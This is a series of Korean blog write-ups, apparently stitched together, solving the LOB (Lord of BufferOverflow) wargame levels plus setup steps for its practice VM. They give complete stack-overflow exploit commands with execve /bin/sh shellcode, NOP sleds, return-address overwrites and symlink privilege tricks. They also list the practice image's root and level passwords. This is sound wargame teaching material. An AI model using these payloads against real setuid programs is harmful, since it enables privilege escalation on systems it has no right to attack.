그 이유는, python 명령이 페이로드를 전달한 후, 쉘이 실행되고 쉘은 stdin으로부터 EOF(End of File)를 전달받는다.

우리가 Ctrl+D의 인터럽트 키를 입력하는 것과 같은 효과이다. 

이것은 '입력이 끝났다'라는 의미로 해석되어 쉘을 종료되게 만든다.

간단히 말하면 우리가 python으로 stdin을 전달하는 과정에서 shell에 EOF를 전달하는 문제가 발생한 것이다.

이를 어떻게 해결해야할까? 그것은 바로 표준 입력을 표준 출력으로 바로 전달하는 cat와 같은 프로그램에 있다.



(python -c 'print "A"*20+"\xe0\xd3\xff\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat) | ./goblin `python -c 'print "A"*10000'`


파이썬과 함께 cat 명령어를 입력하여 쉘이 종료되지 않은 것을 확인할 수 있다.

cat가 페이로드 종료 후에도 EOF가 전달되지 않고 계속 입력을 할 수 있도록 해주었기 때문이다.

이 부분의 설명은 약간 모호할 수 있다. 쉽게쉽게 이해해보자.

그리고 괄호를 묶어주지 않으면 쉘이 아까와 같이 종료되어 버린 후 cat가 독자적으로 실행되게 된다.

그러니까 괄호도 묶어주어야 한다.



이제 goblin 파일을 심볼릭 링크 파일로 바꿔준 다음, 원본 파일에 exploit이 성공한 것을 확인할 수 있다!

goblin의 패스워드는 hackers proof이다.


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08
LOB gate -> gremlin  (0) 2015.11.05
LOB 다운로드&초기 설정(bash 문제)  (1) 2015.11.01

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

처음 목적은 세세한 풀이 내용을 모두 서술하려했으나.. 그건 사실상 불가능한 것 같아서 포기하고

그래도 최대한 그림으로 풀이할 예정.

그건 그렇고 왜 권한 설정이 이렇게 돼있는건지 의문.. 문제 파일에 쓰기 권한이 있어서 실수로 덮어씌워서 아예 그냥 전부다 권한설정해버리느라 시간허비함..

아무튼 워게임은 여러 번 풀면 풀 때마다 감회도 새롭고 조금씩 더 배울 게 보이는듯;;


여기까지는 잡담이었고.




문제 코드이다. 버퍼가 작아졌다.


이제 버퍼에는 쉘코드를 넣을 수 없다?


버퍼 외에도 쉘코드를 넣을 수 있는 곳은 무수히 많지만, 아직 버퍼에 넣을 수 있다.


여기서는 ret 영역 뒤에 쉘코드를 삽입해보자.



버퍼의 오프셋을 아는 것은 기본. ebp-16이므로 ret address와의 오프셋은 20 바이트다.


다음에 해야 할 일은?


cp cobolt /tmp

cd /tmp

./cobolt `python -c 'print "A"*20+"\xbf\xbf\xbf\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`



쉘코드의 주소를 알아내는 일.


/tmp 디렉토리에는 gate에서 썼던 파일들이 있다.

메모리 덤프(코어)를 위해 파일을 복사하여 실행했는데, (Core Dumped) 메시지가 보이지 않는다.

gate에서는 코어 파일 생성을 위해 사이즈를 조절했다.조절이 필요없었지만


여기서 core 파일이 생기지 않는 이유는 gate 소유의 core 파일이 이미 자리잡고 있기 떄문에, 그것을 덮어씌울 수 없기 때문이다.

고로, 우리는 디렉토리를 하나 만든다.


mkdir cobolt

cd cobolt

cp ~/cobolt .

파일 실행



이제 코어 파일이 잘 생성된다.



esp부터 메모리를 보니, nop 문자를 10000개 준만큼 전부다 nop인 것을 확인할 수 있다.

저 중에 아무 곳이나 고르면 된다.



필자는 0xbfffda70을 선택하여 페이로드 중 ret 영역에 리틀엔디안 방식으로 주소값을 대입했다.



쉘이 실행되는 것을 확인할 수 있다.

이제 cobolt의 권한을 획득해보자.



ln -sf ~/cobolt cobolt


심볼릭 링크를 거는 이유는 gate에서 설명했다.



마찬가지로 실패없이 쉘이 실행되어 권한을 획득했다!

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13
LOB gate -> gremlin  (0) 2015.11.05
LOB 다운로드&초기 설정(bash 문제)  (1) 2015.11.01

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


코드의 주석에서 설명하듯 간단한 BOF 문제이다.

Return Address 영역을 Overwrite해서 EIP를 변조시키는 것이다.

필자는 python 스크립트를 사용하였고, Nop Sled 기법을 통하여 공격 성공 확률을 높였다.


참고로, RET 영역은 함수(여기서는 main 함수) 종료 후 다음에 수행할 코드의 주소를 담고 있다.

함수가 종료되면, EIP는 RET 영역의 주소로 JMP하게 된다. 우리는 이 점을 이용할 것이다.


쉘코드는 24 bytes짜리를 사용하였다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


RET 영역의 오프셋을 알아내기 위해 GDB를 이용하자.



set disassembly-flavor intel //인텔 아키텍처 어셈블리어로 출력해주도록 설정한다.

disassemble main //main 함수를 디스어셈블 해준다.


buffer 변수는 ebp-256에 위치하고 있다.

gcc의 버전이 낮기 때문에 해커스쿨 FTZ와는 달리 변수 뒤에 dummy(공간)가 붙지 않는다.

즉, 우리에게는 260 바이트의 공간이 주어졌다. 이 공간에 Nop 문자와 shellcode를 주입하고, 261~264번째 자리에는 shellcode의 주소를 입력하면 된다는 것을 알 수 있다.



setuid, ESP, EBP, 그리고 곧 나올 EIP 레지스터가 무엇인지, 프로그램의 실행 흐름이 어떻게 돌아가는지 등에 대한 이해는 어느 정도 있어야 한다.

이제 남은 일은 RET 영역(Return Address)에 넣을, shellcode의 주소를 알아내는 일이다.

바이너리 파일 또는 코드 파일을 카피, 컴파일, GDB로 실행하여 메모리를 확인할 수 있지만, 정확하지 않을 뿐더러 번거롭기 때문에, 필자는 core 파일을 이용하려한다. 결국에 GDB를 사용하긴 하지만 조금 다르다.

취향에 따라, GDB를 사용하거나 core 파일을 사용하자.


ulimit -c //core 파일의 사이즈를 확인한다.

ulimit -c 1000000 //core 파일의 사이즈가 0이면 사이즈를 설정한다.

ulimit -c 또는 ulimit -a //core 파일의 사이즈가 잘 설정되었는 지 확인한다.


core 파일의 사이즈가 0으로 설정되어있으면 core 파일이 생성되지 않기 때문에 확인한다.

ulimit으로 사이즈를 잘못 설정할 경우, 재로그인 해야 하니 조심하자.


cp gremlin /tmp/


바이너리 파일을 tmp 디렉토리로 카피하자.

원본 파일에서는 코어 파일이 생성되지 않기 때문.


./gremlin `python -c 'print "A"*260+"BBBB"'`


우리가 실제 공격을 할 때와 같은 길이의 파라미터를 주자. EIP가 엉뚱한 곳으로 점프했으니 segmentation fault가 발생하고, 코어가 덤프될 것이다.

Segmentation fault (core dumped)라고 뜨면 성공이다.


gdb -c core -q //gdb를 통해 core 파일의 내용을 확인한다.



GDB가 실행되면 EIP가 0x42424242로 점프해 SEG FAULT가 발생했다는 것을 알 수 있고

다음 커맨드를 통해 스택을 확인한다.


x/100x $esp

(엔터)



메모리가 0x41414141로 도배된 것을 확인할 수 있고, 그 끝에 0x42424242가 쓰여있는 것을 볼 수 있을 것이다.

41 즉 'A'로 채워진 영역은 NOP과 shellcode를 담을 위치이다.


이제 RET를 저 영역의 주소로 덮어씌우기만 하면 공격 payload가 완성된다.

필자는 적당히 0xbffffb60으로 선택했다.

이제 공격을 시도해보자.


./gremlin `python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`


" ' ` 세 쿼터를 잘 닫고, bash 문제로 \xff 오류 조심, 마지막으로 리틀엔디안으로 주소를 적어주면 된다.



우리가 원하는대로 쉘이 실행된 것을 확인할 수 있다! 하지만, 이 파일은 우리가 카피해온 파일이었다.

이제 원본 파일에 공격을 시도해보자.


ln -sf ~/gremlin /tmp/gremlin


홈 디렉토리에서 공격을 시도할 수도 있지만, 필자는 쉘코드의 메모리 주소가 바뀌는 것을 방지하기 위해

심볼릭 링크를 사용하였다. 메모리 주소가 바뀌는 이유는 경로의 길이에 따라 환경 변수 등 몇몇 가지 요인이 영향을 받기 때문.


어쨌든 이제 진짜 공격을 시도해보면?


성공했다!


Nop Sled를 사용하면 정확한 주소를 알지 않아도 된다. 주소는 다양한 요소에 의해 변경될 수 있으니 정확한 주소를 맞추기보다는 Nop Sled를 통하여 공격 성공 확률을 높일 생각을 하자.


아아, 그리고 core 파일은

프로그램이 비정상 종료되었을 때의 메모리를 덤프 떠서 저장해놓은 파일이다.

필자는 core 파일을 이용하면 정확한 주소를 알 수 있는 점이 마음에 들어서 이후의 문제들도 모두 core 파일을 통해 주소값을 확인할 예정!


어쨌든 gate를 클리어했다. gremlin으로 이동하자.

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08
LOB 다운로드&초기 설정(bash 문제)  (1) 2015.11.01

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

LOB : 버퍼오버플로우를 이용한 Wargame이다. The Lord of Bufferoverflow, BOF 원정대라고도 한다.




필요한 프로그램 : 가상화 SW, 터미널 에뮬레이터, LOB 이미지.

- 접기

가상화 SW(또는 가상 머신)에는 VMware Workstation, VMware Player, VirtualBox가 있다.

VMware Player나 VirtualBox는 프리웨어라고 알고 있다.

터미널 에뮬레이터는 윈도우 기준 PuTTY(푸티), Xshell가 있다.

편한거로 쓰자. PuTTY는 처음 쓰기 편하고, 많이 쓰다보면 나중에는 Xshell이 더 편하다.



LOB 이미지는 아래의 해커스쿨 사이트에서 받자.

BOF 원정대 다운로드


설치 과정은 좋은 글들이 많이 있으니 생략하고 ..

LOB를 부팅하는 것부터 시작해보자.


부팅 시작 시 LILO boot:라고 나오는데, 아무 조작도 안하거나 linux-up이라고 입력하면 부팅이 된다.

- 접기 Tab을 누르면 linux, linux-up 두 가지가 나오는데 linux를 입력했을 때는 부팅이 되지 않는다.


root로 접속해보자. root의 패스워드는 hacherschoolbof 이다.


LOB Redhat은 bash의 버전이 낮아서, 쉘 상에서 \xff를 입력했을 때, \x00으로 처리해버리는 문제가 발생한다.

이 사실을 모르거나, 알다가도 깜빡 잊으면 애먼 데서 삽질을 하게 된다.

그러므로 우리는 이런 문제가 발생하지 않도록 각 유저들(ex:gate, gremlin, ...)의 default shell을 bash2로 설정할 것이다.


이제 다음 명령어를 입력하자.


** 추가 **

ln -sf /bin/bash2 /bin/bash

/etc/passwd 파일 수정 없이 bash 파일을 덮어써버리는 방법이 생각나서 적는다..

bash2에서 보안 설정이 되어 있기 때문인지

bash 파일을 덮어씌우거나 건드려선 안된다.

  Thanks to blackmoon


** 추가 **

vi /etc/passwd

:%s/bash/bash2/


꼭 root 권한이 필요하다.

vi 데이터로 /etc/passwd을 열어서

: = 커맨드 입력 시작

% = 파일 전체

s/ = 문자열 치환 시작

bash = bash를

/ = 구분선

bash2 = bash로 치환

/ = 끝

< 다음과 같이 각 줄 끝마다 bash2로 치환된 것을 확인할 수 있다. >



- 접기 vi, /etc/passwd, default shell, bash 등이 무엇인지도 상세히 적고 싶으나, 가독성이 떨어지므로 설명 생략.


이제 /sbin/ifconfig로 아이피 주소를 확인한 후

인터넷이 연결되어 있는 지 확인해보고

xshell(or putty)로 텔넷 접속을 하면 되겠다.

ex)

telnet 192.168.230.150


첫 번째 레벨은 gate/gate이다. (ID/PW)


이제 문제없이 LOB를 풀어나가보자. 또 다른 문제들이 발생하면 해결해나가면서 ..


-------------------- 추가 ----------------------


다시 LOB를 풀다보니 권한설정이 마음에 들지않아서 추가로 적어본다..

취향껏 참고하시길.


root로 로그인 후(su - root)

cd /home

find -name "*.c" -exec chown root:root {} \;

chown root *

chmod 1770 *

chmod 755 httpd/ #생략 가능

chmod 755 lost+found/ #마찬가지


c 소스파일의 소유자/그룹을 모두 루트로 바꿈으로써 수정 불가능으로 만든다.(원래는 각각의 유저 소유였다)

그리고 /tmp 디렉토리와 같이 모든 홈 디렉토리들에게 sticky bit 퍼미션을 준다.

sticky bit는 디렉토리에 주어지는 권한으로, 이 설정이 된 디렉토리 내에서 파일을 쓰는 것은 가능하나

다른 유저의 파일, 즉 원본 바이너리,소스 파일의 수정/삭제는 불가능하다.


실수로 gremlin에서 cobolt 파일이 덮어씌워져서 이후부터 위와 같은 설정을 해놓았다.


sticky bit에 대해서는 다른 포스팅에서 다룰 예정이다. 언젠가..



이제 진짜로 LOB를 시작해보자.


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08
LOB gate -> gremlin  (0) 2015.11.05

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

사용중인 블로그 스킨이 방명록을 지원하지 않습니다.

초대장을 받고싶으신 분들은 댓글 또는 블로그 설명의 메일로.